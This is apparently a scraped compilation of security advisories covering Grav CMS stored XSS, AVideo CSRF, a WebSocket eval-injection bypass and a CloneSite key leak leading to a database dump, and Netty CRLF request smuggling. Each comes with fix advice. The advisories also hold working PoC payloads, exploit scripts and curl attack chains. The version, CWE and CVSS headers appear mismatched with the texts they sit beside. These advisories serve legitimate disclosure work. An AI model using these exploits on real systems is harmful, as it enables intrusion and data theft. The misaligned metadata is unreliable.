planting via CSRF on a victim's authenticated session.
الإصدارات المتأثرة
10.4, 10.8, 11, 11.1, 11.1.1
نوع الثغرة
CWE-918 — SSRF
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
الوصف الكامل
### Summary An authenticated user with page editing permissions can inject an executable JavaScript event-handler attribute into rendered image HTML through Grav's Markdown media action syntax. The issue is caused by Markdown image query parameters being converted into callable media actions. The public `attribute()` media method can be reached this way, allowing an editor to set an arbitrary HTML attribute name and value on the generated image element. For example, this Markdown: ```markdown ) ``` is rendered as an image tag containing an executable `onload` handler: ```html <img onload="alert(document.domain)" alt="Quarterly market overview" src="/user/pages/03.campaigns/market-overview.gif?..."> ``` This results in stored XSS when another user views the affected page. In a multi-user Grav installation, a lower-privileged page editor could use this to target administrators or reviewers who preview or view editor-controlled content. Tested versions: - Grav CMS: 1.7.49.5 - Admin Plugin: 1.10.49.1 Suggested classification: - CWE-79: Improper Neutralization of Input During Web Page Generation - Stored Cross-Site Scripting - Suggested CVSS v4.0 score if page editing is considered high privilege: 6.9 Medium - Suggested CVSS v4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N` - Suggested CVSS v3.1 score if page editing is considered high privilege: 6.9 Medium - Suggested CVSS v3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N` ### Details The issue appears to come from this source-to-sink flow: 1. `ParsedownGravTrait::inlineImage()` processes Markdown images. 2. `Excerpts::processImageExcerpt()` resolves the referenced media object. 3. `Excerpts::processMediaActions()` parses the image URL query string into media actions. 4. `call_user_func_array()` invokes the requested action method on the media object. 5. `MediaObjectTrait::attribute()` stores the attacker-controlled attribute name and value. 6. The media object returns a Parsedown element containing the injected attribute. 7. Parsedown renders the attribute name into the final HTML. Relevant code paths: ```text system/src/Grav/Common/Markdown/ParsedownGravTrait.php system/src/Grav/Common/Page/Markdown/Excerpts.php system/src/Grav/Common/Media/Traits/MediaObjectTrait.php system/src/Grav/Common/Page/Medium/StaticImageMedium.php system/src/Grav/Common/Page/Medium/ImageMedium.php vendor/erusev/parsedown/Parsedown.php ``` In `system/src/Grav/Common/Markdown/ParsedownGravTrait.php`, Markdown image excerpts are passed into Grav-specific media handling: ```php if (isset($excerpt['element']['attributes']['src'])) { $excerpt = $this->excerpts->processImageExcerpt($excerpt); } ``` In `system/src/Grav/Common/Page/Markdown/Excerpts.php`, query string parameters are converted into media action calls. The query parameter name becomes the method name: ```php $carry[] = ['method' => $parts[0], 'params' => $value]; ``` The requested method is later invoked dynamically: ```php $medium = call_user_func_array([$medium, $action['method']], $args); ``` For the payload: ```text attribute=onload,alert(document.domain) ``` the method is `attribute`, and the arguments are `onload` and `alert(document.domain)`. In `system/src/Grav/Common/Media/Traits/MediaObjectTrait.php`, `attribute()` stores the caller-controlled attribute name directly: ```php public function attribute($attribute = null, $value = '') { if (!empty($attribute)) { $this->attributes[$attribute] = $value; } return $this; } ``` The image media classes then return the collected attributes as attributes for an `img` element. In `system/src/Grav/Common/Page/Medium/StaticImageMedium.php`: ```php return ['name' => 'img', 'attributes' => $attributes]; ``` The non-static image path in `system/src/Grav/Common/Page/Medium/ImageMedium.php` also returns image attributes in the same way. Finally, in `vendor/erusev/parsedown/Parsedown.php`, the attribute value is escaped, but the attribute name is rendered as-is: ```php $markup .= ' '.$name.'="'.self::escape($value).'"'; ``` As a result, the attacker-controlled attribute name `onload` is emitted into the final HTML and executes as a browser event handler. The Admin Plugin's save-time XSS detection does not appear to block this because the stored content is Markdown media syntax, not raw HTML: ```markdown ) ``` The dangerous HTML is generated later during Markdown/media rendering. ### PoC I reproduced this on a standard Grav CMS installation with the Admin Plugin enabled. Configuration and prerequisites: - Grav CMS 1.7.49.5 - Admin Plugin 1.10.49.1 - Markdown processing enabled for pages - A user account with permission to create or edit pages - A page media file available in the edited page folder, for example `market-overview.gif` Steps to reproduce: 1. Install Grav CMS with the Admin Plugin. 2. Log in to the Admin panel as a user who can create or edit pages. 3. Create a normal content page or edit an existing one. 4. Add or reference a page media file named `market-overview.gif`. 5. Insert the following Markdown into the page body: ```markdown ) ``` 6. Save the page. 7. Open the rendered frontend page in a browser. 8. The JavaScript payload executes when the image loads. 9. Inspect the generated DOM. The rendered image element contains the injected `onload` attribute. Expected result: The Markdown media action should not be able to generate executable HTML attributes. The payload should be rejected, sanitized, or rendered without the dangerous event-handler attribute. Actual result: The payload is accepted and rendered as an executable image event handler: ```html <img onload="alert(document.domain)" alt="Quarterly market overview" src="/user/pages/03.campaigns/market-overview.gif?..."> ``` Screenshots: - the stored Markdown payload in the page editor <img width="1718" height="1013" alt="edycja" src="https://github.com/user-attachments/assets/8f5e5275-e4ef-4d5e-a2cd-44683537b909" /> - the JavaScript alert executing on the frontend page <img width="1727" height="1002" alt="alert" src="https://github.com/user-attachments/assets/6de81228-830c-49f2-ac41-b15658a8913d" /> - browser DevTools showing the injected `onload` attribute in the rendered DOM <img width="939" height="539" alt="inspect" src="https://github.com/user-attachments/assets/7832c42d-6f3a-4ea2-b072-b837bd3913ed" /> ### Impact This is a stored cross-site scripting vulnerability. An authenticated user with page editing permissions can store a malicious Markdown image reference. When the affected page is rendered, the payload executes in the browser of any user who views that page. In multi-user Grav installations, this may allow a lower-privileged editor to target administrators, reviewers, or other privileged users who preview or view editor-controlled content. Depending on the victim's privileges and deployed plugins, successful exploitation may allow JavaScript execution in the site origin, access to same-origin page data available to the victim, and same-origin actions performed as the victim. CVSS 4.0 rationale: - `AV:N`: the issue is exploitable through the web application. - `AC:L`: no special race condition or complex setup is required after page editing access is obtained. - `AT:P`: exploitation requires the malicious Markdown/media reference to be stored in page content and later rendered to a victim. - `PR:H`: the attacker needs page editing capability. - `UI:P`: a victim must view the affected page. The demonstrated `onload` payload executes on passive page rendering, without requiring a click or form submission by the victim. - `VC:H/VI:L/VA:N`: confidentiality impact can be high when the victim is an administrator or reviewer; integrity impact is limited; no direct availability impact was demonstrated. - `SC:H/SI:L/SA:N`: the injected script executes in the browser/application context and may affect subsequent same-origin interactions available to the victim. ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — will ship in **2.0.0-beta.2**. **What changed:** `MediaObjectTrait::attribute()` — the sink reached by Markdown like `)` — now gates the attribute **name** through an allowlist regex (`^[A-Za-z][A-Za-z0-9_:.\-]*$`) plus an explicit denylist of script-context names: - any `on*` handler (case-insensitive) - `style` (inline CSS expression risk) - `xmlns` (XML namespace tricks) - `srcdoc` (iframe sandbox bypass) - `formaction` (form action override) Invalid names are silently dropped — the attribute isn't stored, so it doesn't survive into the rendered `<img>`. `src`/`href`/`data-*`/`aria-*`/standard media attributes are unaffected. **Files:** - [`system/src/Grav/Common/Media/Traits/MediaObjectTrait.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php) — new `isSafeAttributeName()` gate. - [`tests/unit/Grav/Common/Security/MediaAttributeSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/MediaAttributeSecurityTest.php) — 28 cases (14 dangerous-name rejections, 14 safe-name round-trips). ### Discoverers @K-Czaplicki @morzelowski ---
الإصدارات المتأثرة
All versions < 0.8.0, 0.9.0, 0.9.1, 0.9.10, 0.9.11
نوع الثغرة
CWE-79 — XSS
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
الوصف الكامل
## Summary `objects/userSavePhoto.php` is a legacy profile-photo endpoint that accepts a base64 POST parameter and writes the decoded bytes to `videos/userPhoto/photo<users_id>.png`. Its only access control is `User::isLogged()`. It does not end in `.json.php`, so it is excluded from the project's global `autoCSRFGuard` (which is suffix-scoped in `objects/include_config.php`). There is no CSRF token, no Origin/Referer check, and no MIME validation of the decoded bytes. Because AVideo's default cookie policy is `SameSite=None; Secure` on HTTPS (`objects/functionsPHP.php:227`), an attacker who lures a logged-in user to a malicious page can overwrite that user's profile photo with arbitrary bytes and also triggers a site-wide `clearCache(true)` on every forged request. ## Details Handler (`objects/userSavePhoto.php`, 51 lines total): ```php // line 12 - only access control if (!User::isLogged()) { $obj->msg = __("You must be logged"); die(json_encode($obj)); } // ... // line 29 - unvalidated base64 from POST $fileData = base64DataToImage($_POST['imgBase64']); // line 30 - deterministic filename tied to the VICTIM's session $fileName = 'photo'. User::getId().'.png'; $photoURL = $imagePath.$fileName; // line 35 - raw bytes written to disk $bytes = file_put_contents($global['systemRootPath'].$photoURL, $fileData); // lines 43-48 - DB update + global cache invalidation unconditionally $user = new User(User::getId()); $user->setPhotoURL($photoURL); if ($user->save()) { User::deleteOGImage(User::getId()); User::updateSessionInfo(); clearCache(true); } ``` `base64DataToImage` (`objects/functionsImages.php:1026`) performs no content validation: ```php function base64DataToImage($imgBase64) { $img = $imgBase64; $img = str_replace('data:image/png;base64,', '', $img); $img = str_replace(' ', '+', $img); return base64_decode($img); } ``` There is no call to `getimagesizefromstring`, `imagecreatefromstring`, or MIME detection. Arbitrary bytes up to `post_max_size` are accepted. **Why the global CSRF guard does not apply.** `objects/include_config.php` (around line 314) only invokes `autoCSRFGuard` when the script filename matches `*.json.php`: ```php if (... $_SERVER['REQUEST_METHOD'] === 'POST' && substr($baseName, -9) === '.json.php') { autoCSRFGuard($baseName, $_SERVER['SCRIPT_FILENAME']); } ``` `userSavePhoto.php` is missing the `.json.php` suffix, so neither `autoCSRFGuard` nor `forbidIfIsUntrustedRequest` runs. There is no explicit call to any of these in the file (verified by grep: no `getCSRF`, no `forbidIfIsUntrustedRequest`, no `HTTP_ORIGIN`, no `HTTP_REFERER`). Routing rewrites in `.htaccess` also expose this handler as `/savePhoto`. **Why the victim's cookie is sent cross-origin.** `objects/functionsPHP.php:227`: ```php function _getCookieSameSiteValue($secure) { return $secure ? 'None' : 'Lax'; } ``` On HTTPS (the expected deployment), session cookies default to `SameSite=None; Secure`, which browsers attach to cross-site POSTs. A plain `application/x-www-form-urlencoded` form POST is a "simple request" under CORS rules and does not trigger a preflight, so the browser sends the POST and its cookie without the server having to opt in. ## PoC 1. Victim logs into the AVideo instance (e.g., `https://victim.example.com`). `PHPSESSID` is set with `SameSite=None; Secure`. 2. Attacker hosts the following HTML on any domain: ```html <!doctype html> <html><body> <form id="f" action="https://victim.example.com/objects/userSavePhoto.php" method="POST"> <!-- Any bytes: here, 'HELLO WORLD' base64-encoded --> <input name="imgBase64" value="SEVMTE8gV09STEQ="> </form> <script>document.forms[0].submit();</script> </body></html> ``` 3. Victim visits the attacker page in the same browser. The form auto-submits. The browser sends the POST with the victim's session cookie. 4. `userSavePhoto.php` passes the `User::isLogged()` check, decodes the base64, and writes the raw bytes to `videos/userPhoto/photo<VICTIM_USERS_ID>.png`. It also calls `$user->save()`, `User::deleteOGImage()`, `User::updateSessionInfo()`, and `clearCache(true)`. 5. Fetching `https://victim.example.com/videos/userPhoto/photo<VICTIM_USERS_ID>.png` (the file is now the attacker's bytes — `HELLO WORLD` in this test case). The response is `200 OK` and the body equals the submitted bytes. Replace the `imgBase64` payload with a valid PNG to make the defacement visually persuasive, or with up to ~6 MB of any bytes to force a large write. ## Impact - **Integrity — profile defacement of any logged-in user.** One click lets an attacker replace a victim's profile photo with arbitrary bytes: offensive imagery, misleading branding, or a clone of another user's photo for impersonation. The file path is deterministic (`photo<users_id>.png`), so the attacker can later direct others to the overwritten URL. - **Availability — global cache thrash.** Every successful forged request calls `clearCache(true)`, invalidating application-wide caches. Repeatedly tricking logged-in users into visiting the attacker page (e.g., by including the payload as a hidden iframe on a popular site) produces sustained cache invalidation. - **Availability — disk pressure.** With no size cap beyond PHP's `post_max_size` (default 8 MB → ~6 MB after base64 decode), each forged submission writes a multi-megabyte file. Across many victims this enables distributed disk exhaustion. - **No confidentiality impact** and no code execution (files are served with `Content-Type: image/png` based on extension, so SVG-with-script payloads are not interpreted). - **Related endpoints.** `objects/userSaveBackground.php` exhibits the same pattern (same `base64DataToImage` sink, same lack of CSRF/Origin/MIME checks) and is exploitable identically; fix should be applied consistently. ## Recommended Fix Apply the existing same-origin guard that protects the `*.json.php` endpoints and add content validation. In `objects/userSavePhoto.php`, immediately after the login check: ```php require_once $global['systemRootPath'] . 'objects/functionsSecurity.php'; forbidIfIsUntrustedRequest('userSavePhoto'); $raw = $_POST['imgBase64'] ?? ''; if (strlen($raw) > 2 * 1024 * 1024) { // ~1.5 MB decoded cap $obj->msg = __('Image too large'); die(json_encode($obj)); } $fileData = base64DataToImage($raw); if ($fileData === false || $fileData === '' || @imagecreatefromstring($fileData) === false) { $obj->msg = __('Invalid image'); die(json_encode($obj)); } ``` The longer-term fix is to broaden the global guard in `objects/include_config.php` so that `autoCSRFGuard` covers every authenticated POST handler, not only those whose filenames end in `.json.php` — the current suffix-based gating is a footgun that silently excludes legacy endpoints like `userSavePhoto.php` and `userSaveBackground.php`. Also consider moving the `clearCache(true)` call inside the `if ($bytes)` branch so that zero-byte writes do not invalidate the global cache.
الإصدارات المتأثرة
10.4, 10.8, 11, 11.1, 11.1.1
نوع الثغرة
CWE-352 — CSRF
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
الوصف الكامل
## Summary The server-side mitigation for the YPTSocket `autoEvalCodeOnHTML` eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit `c08694bf6`) only strips the payload when it sits under `$json['msg']`, but the relay function `msgToResourceId()` selects the outbound message from `$msg['json']` *before* `$msg['msg']`. An unauthenticated attacker can obtain a WebSocket token from `plugin/YPTSocket/getWebSocket.json.php`, connect to the WebSocket server, and send a message with `autoEvalCodeOnHTML` nested under a top-level `json` field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by `to_users_id`, and the client script runs it through `eval()`. ## Details ### Entry point (unauthenticated) `plugin/YPTSocket/getWebSocket.json.php` (lines 1–21) issues a valid WebSocket token to any caller, with no authentication or CSRF check: ```php $obj->webSocketToken = getEncryptedInfo(0); $obj->webSocketURL = YPTSocket::getWebSocketURL(); die(json_encode($obj)); ``` `getEncryptedInfo()` defaults to `sentFrom = 'browser'` and a non-CLI flag (`plugin/YPTSocket/functions.php:3-47`), so a token minted for an anonymous browser client will cause the strip branch below to run — which is exactly what we want to audit. ### Incomplete strip (the fix from commit c08694bf6) `plugin/YPTSocket/Message.php:236-247`: ```php // Strip eval-able fields from browser/guest messages. if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') { if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); // <-- only strips $json['msg'] } if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) { unset($json['callback']); } } ``` If the incoming `$json['msg']` is a scalar (e.g. the string `"x"`), `is_array(...)` is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in `$json` passes through untouched. The same flawed check exists in `plugin/YPTSocket/MessageSQLiteV2.php:285-293`. ### Relay preference picks the untouched field `plugin/YPTSocket/Message.php:316-322` (and the mirror at `MessageSQLiteV2.php:396-402`): ```php if (!empty($msg['json'])) { $obj['msg'] = $msg['json']; // <-- preferred carrier; never stripped } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; } else { $obj['msg'] = $msg; } ``` An attacker payload shaped as `{"msg": "x", "json": {"autoEvalCodeOnHTML": "<js>"}, "to_users_id": <victim>}` therefore: 1. Passes `switch ($json->msg)` into the `default` case (Message.php:211, 228). 2. `msgToArray($json)` converts to array. The strip branch enters because `sentFrom === 'browser'`, but `is_array("x")` is false and the strip is skipped. 3. Routing lands on `msgToUsers_id($json, $json['to_users_id'])` (Message.php:253), which for each matching resource calls `msgToResourceId($msg, $resourceId)` (Message.php:379). 4. In `msgToResourceId`, `!empty($msg['json'])` is true, so `$obj['msg']` becomes `{"autoEvalCodeOnHTML": "<js>"}` (Message.php:316-317). 5. The `shouldPropagateInfo()` check at Message.php:287-289 only logs — it does not return — so delivery proceeds regardless. ### Client-side sink `plugin/YPTSocket/script.js:573-575`: ```js if (json.msg?.autoEvalCodeOnHTML !== undefined) { eval(json.msg.autoEvalCodeOnHTML); } ``` Any logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation. ### Routing to any user `msgToUsers_id()` (Message.php:362-389) looks up `to_users_id` against `$this->clientsUsersId` and relays to every resource belonging to that user. Because `to_users_id` comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing `getClientsList` request handled at Message.php:219-224 using the same unauthenticated token. ## PoC Step 1 — mint an unauthenticated WebSocket token: ```bash curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php' # {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0", ...} ``` Step 2 — connect and send the crafted message: ```python import json, ssl, websocket TOKEN = '<TOKEN>' # from step 1 URL = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0' VICTIM = 2 # any logged-in users_id with an open tab ws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE}) payload = { 'msg': 'x', # scalar -> strip branch skipped 'webSocketToken': TOKEN, 'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"}, 'to_users_id': VICTIM, } ws.send(json.dumps(payload)) ws.close() ``` Expected result: the victim's tab receives `{"type":"DEFAULT_MESSAGE","msg":{"autoEvalCodeOnHTML":"alert(...)"}, ...}` and executes the JavaScript via `eval()`. Optional Step 0 — enumerate active users (using the same token): ```python ws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN})) # response lists active users_id values ``` ## Impact - **Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session.** The victim only needs a tab open on the site — no click, no link, no CSRF. - **Same-origin compromise:** the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data. - **Privilege escalation when an admin is targeted:** arbitrary admin-panel actions via same-origin XHR — account takeover, plugin configuration changes, file uploads, etc. - **Mass exploitation feasible:** `getClientsList` (also reachable with the anonymous token) enumerates active `users_id` values, and the attacker can iterate `to_users_id` across all of them. - This is an incomplete fix for GHSA-gph2-j4c9-vhhr — deployments that patched to commit `c08694bf6` remain exploitable. ## Recommended Fix Scrub `autoEvalCodeOnHTML` from **every** outbound carrier the relay may choose, not only from `$json['msg']`. Patch both `plugin/YPTSocket/Message.php` and `plugin/YPTSocket/MessageSQLiteV2.php`. For example, replace the current strip in `onMessage()`: ```php if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') { foreach (['msg', 'json'] as $k) { if (is_array($json[$k] ?? null)) { unset($json[$k]['autoEvalCodeOnHTML']); } } // also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe if (isset($json['autoEvalCodeOnHTML'])) { unset($json['autoEvalCodeOnHTML']); } if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) { unset($json['callback']); } } ``` Additionally, harden the relay itself in `msgToResourceId()` (both files) so future regressions cannot reintroduce the sink — walk the chosen `$obj['msg']` recursively and unset `autoEvalCodeOnHTML` whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side `eval(json.msg.autoEvalCodeOnHTML)` at `plugin/YPTSocket/script.js:573-575` behind a server-signed field rather than a plain JSON key.
الإصدارات المتأثرة
10.4, 10.8, 11, 11.1, 11.1.1
نوع الثغرة
CWE-94 — Code Injection
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
الوصف الكامل
## Summary `plugin/CloneSite/cloneClient.json.php` echoes the local CloneSite shared secret (`$objClone->myKey`, a constant `md5($global['systemRootPath'] . $global['salt'])`) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before `die()`. When the victim has CloneSite configured with a remote `cloneSiteURL` (standard federation/backup setup), the leaked `myKey` is exactly the credential that authenticates the victim to that remote server's `cloneServer.json.php`, allowing the attacker to impersonate the victim and trigger a full `mysqldump` of the remote's database to the remote's public `videos/clones/` directory. ## Details ### 1. The leak (`plugin/CloneSite/cloneClient.json.php:51-60`) ```php $objCloneOriginal = $objClone; $argv[1] = preg_replace("/[^A-Za-z0-9 ]/", '', empty($argv[1])?'':$argv[1]); if (empty($objClone) || empty($argv[1]) || $objClone->myKey !== $argv[1]) { if (!User::isAdmin()) { $resp->msg = "You can't do this"; $log->add("Clone: {$resp->msg}"); echo "$objClone->myKey !== $argv[1]"; // <-- interpolates myKey die(json_encode($resp)); } } ``` Under PHP's web SAPI, the script-scope `$argv` global is not populated from the query string (only `$_SERVER['argv']` is populated, and only when `register_argc_argv=On`). Verified on this host (PHP 8.4.16, built-in web server): ``` bool(false) # isset($argv) string(9) "undefined" # $argv ?? 'undefined' string(9) "undefined" # $_SERVER['argv'] string(9) "undefined" # $argv[1] bool(true) # empty($argv[1]) ``` Because `empty($argv[1])` is true, line 51's `preg_replace` returns `''` and `$argv[1]` becomes `''`. Line 53 therefore enters the outer `if` (empty key). `User::isAdmin()` returns false for unauthenticated callers, so line 57 runs and echoes the contents of `$objClone->myKey` into the response body before `die()`. The response body looks like: ``` <32-hex-char md5> !== {"error":true,"msg":"You can't do this"} ``` The 32-hex prefix is the local `myKey`. ### 2. Where `myKey` comes from (`plugin/CloneSite/CloneSite.php:67`) ```php $obj->myKey = md5($global['systemRootPath'].$global['salt']); ``` `myKey` is a static per-installation value generated from `systemRootPath` and `salt`. It never rotates. ### 3. Why the leaked key is dangerous (cross-site chain) `cloneClient.json.php:75` shows `myKey` is the credential the client presents to its configured remote clone server: ```php $url = $objClone->cloneSiteURL . "plugin/CloneSite/cloneServer.json.php?url=" . urlencode($global['webSiteRootURL']) . "&key={$objClone->myKey}&useRsync=" . intval($objClone->useRsync); ``` On the remote side, `plugin/CloneSite/cloneServer.json.php:32-42` calls `Clones::thisURLCanCloneMe($_GET['url'], $_GET['key'])`, which in `plugin/CloneSite/Objects/Clones.php:73-101` does only: ```php $clone = new Clones(0); $clone->loadFromURL($url); ... if ($clone->getKey() !== $key) { $resp->msg = "Invalid Key"; return $resp; } if ($clone->getStatus() !== 'a') { ... } ``` For any federation pair the remote admin has approved (`status='a'`), supplying `url=<victim>&key=<leaked myKey>` passes this check. `cloneServer.json.php:86-90` then runs an unconditional `mysqldump` of every table except `CachesInDB`: ```php $cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} ". " --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile"; exec($cmd . " 2>&1", $output, $return_val); ... echo json_encode($resp); // includes $resp->sqlFile = "Clone_mysqlDump_<uniqid>.sql" ``` The dump lands in `{videosDir}/clones/<sqlFile>`, and `videos/` is a public static directory in default AVideo deployments, so the attacker can fetch it with one more unauthenticated request. ### 4. Not fixed by the previous `clones.json.php` hardening Commit `160e02635`/earlier added `if (!User::isAdmin())` guards to `plugin/CloneSite/clones.json.php` (the table-management endpoint that lists server-side per-client keys, previously advisory-submitted as CWE-306). That fix does not apply to `cloneClient.json.php`, which is a separate file and discloses a structurally different secret (the local `myKey`, not the per-URL server-side keys). ## PoC Prerequisite: target installation has the `CloneSite` plugin enabled with a configured `cloneSiteURL` (this is the standard use: federated backup / site cloning). No authentication required. **Step 1 — leak the local `myKey` (unauthenticated GET):** ```bash curl -s 'https://victim.example.com/plugin/CloneSite/cloneClient.json.php' ``` Response body: ``` 3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c !== {"error":true,"msg":"You can't do this"} ``` The 32-hex-character prefix is `$objClone->myKey`. **Step 2 — use the leaked `myKey` to make the victim's configured remote dump its own database:** ```bash curl -s 'https://remote-server.example.com/plugin/CloneSite/cloneServer.json.php?url=https%3A%2F%2Fvictim.example.com%2F&key=3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c&useRsync=0' ``` Response (truncated): ```json {"error":false,"url":"https://victim.example.com/","key":"...","videosDir":"...","sqlFile":"Clone_mysqlDump_65f3a2b14c7e8.sql","videoFiles":[...],"photoFiles":[...]} ``` **Step 3 — download the full database dump from the remote's public `videos/` directory:** ```bash curl -O 'https://remote-server.example.com/videos/clones/Clone_mysqlDump_65f3a2b14c7e8.sql' ``` This file contains every table except `CachesInDB` — `users` (including password hashes), payment records, API secrets, plugin configuration, etc. ## Impact - Any unauthenticated attacker can retrieve the CloneSite shared secret (`myKey`) of any AVideo installation that has the plugin enabled. `myKey` is static and never rotates on its own. - When that installation is federated with a remote CloneSite server (the standard use of the plugin), the leaked key permits the attacker to impersonate the victim client to the remote. `cloneServer.json.php` on the remote performs no additional authentication, runs an unconditional `mysqldump`, and places the result under the web-accessible `videos/clones/` directory — so a single leaked `myKey` leads to a full database dump (users, password hashes, payment and plugin configuration, API credentials) of the remote partner, downloadable over HTTP. - The compromise crosses the federation boundary: leaking the key on site A yields the database of site B. This is scope-changing in practice even if CVSS scope is formally `Unchanged`. - The `clones.json.php` hardening (the previously reported CWE-306 fix) does not cover this path; `cloneClient.json.php` is a distinct file that exposes a structurally different credential. ## Recommended Fix Do not echo the expected key in the rejection message, and reject non-CLI / non-admin callers cleanly. Example patch for `plugin/CloneSite/cloneClient.json.php:51-60`: ```php // Only accept the key argument from actual CLI invocations (intended usage: // cron "php .../cloneClient.json.php <myKey>"). Over HTTP, require admin. $cliKey = (PHP_SAPI === 'cli' && !empty($argv[1])) ? preg_replace("/[^A-Za-z0-9 ]/", '', $argv[1]) : ''; if (empty($objClone) || empty($cliKey) || $objClone->myKey !== $cliKey) { if (!User::isAdmin()) { $resp->msg = "You can't do this"; $log->add("Clone: {$resp->msg}"); // Do NOT echo $objClone->myKey — it is a shared secret used to // authenticate to the configured remote clone server. die(json_encode($resp)); } } ``` Additional hardening recommended: - Replace the static `myKey = md5(systemRootPath . salt)` with a randomly generated, per-installation key stored in the plugin configuration that can be rotated (see similar advice from GHSA-wqcc-qf63-c2x4 / CWE-331 on AVideo secret generation). - On the remote side (`cloneServer.json.php`), consider requiring the `sqlFile` path to be unguessable (already is, via `uniqid()`) AND gating the dump behind an IP allowlist or an additional pre-shared rotating token, so that loss of a client's `myKey` does not immediately yield a full database dump. - Serve `videos/clones/` with an `.htaccess`/nginx rule that denies direct HTTP access, so that even if a rogue client is authenticated, the dump is not downloadable over the web.
الإصدارات المتأثرة
10.4, 10.8, 11, 11.1, 11.1.1
نوع الثغرة
CWE-209 — Info Disclosure
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
### Summary Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests. In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side. ### Details The root issue is that URI validation exists only on the constructor path, but not on the public setter path. - `io.netty.handler.codec.http.DefaultHttpRequest` - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)` - `setUri(String uri)` only performs `checkNotNull` and does not validate - `io.netty.handler.codec.http.DefaultFullHttpRequest` - `setUri(String uri)` delegates to the parent implementation - `io.netty.handler.codec.http.HttpRequestEncoder` - Writes `request.uri()` directly into the request line - `io.netty.handler.codec.rtsp.RtspEncoder` - Writes `request.uri()` directly into the request line This creates the following bypass: 1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI 2. Later, attacker-influenced input is passed into `setUri()` 3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim 4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API. ### PoC (HTTP) The following code first creates a normal request object and then injects a malicious request line using `setUri()`. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpServerCodec; import io.netty.handler.codec.http.HttpVersion; import io.netty.util.CharsetUtil; public final class HttpSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder()); EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec()); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe"); request.setUri("/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by HttpServerCodec ==="); server.writeInbound(outbound.retainedDuplicate()); Object msg; while ((msg = server.readInbound()) != null) { System.out.println(msg); } outbound.release(); client.finishAndReleaseAll(); server.finishAndReleaseAll(); } } ``` When reproduced, the raw encoded request looks like this: ```http GET /s1 HTTP/1.1 POST /s2 HTTP/1.1 content-length: 11 Hello WorldGET /s1 HTTP/1.1 ``` `HttpServerCodec` then parses this as multiple 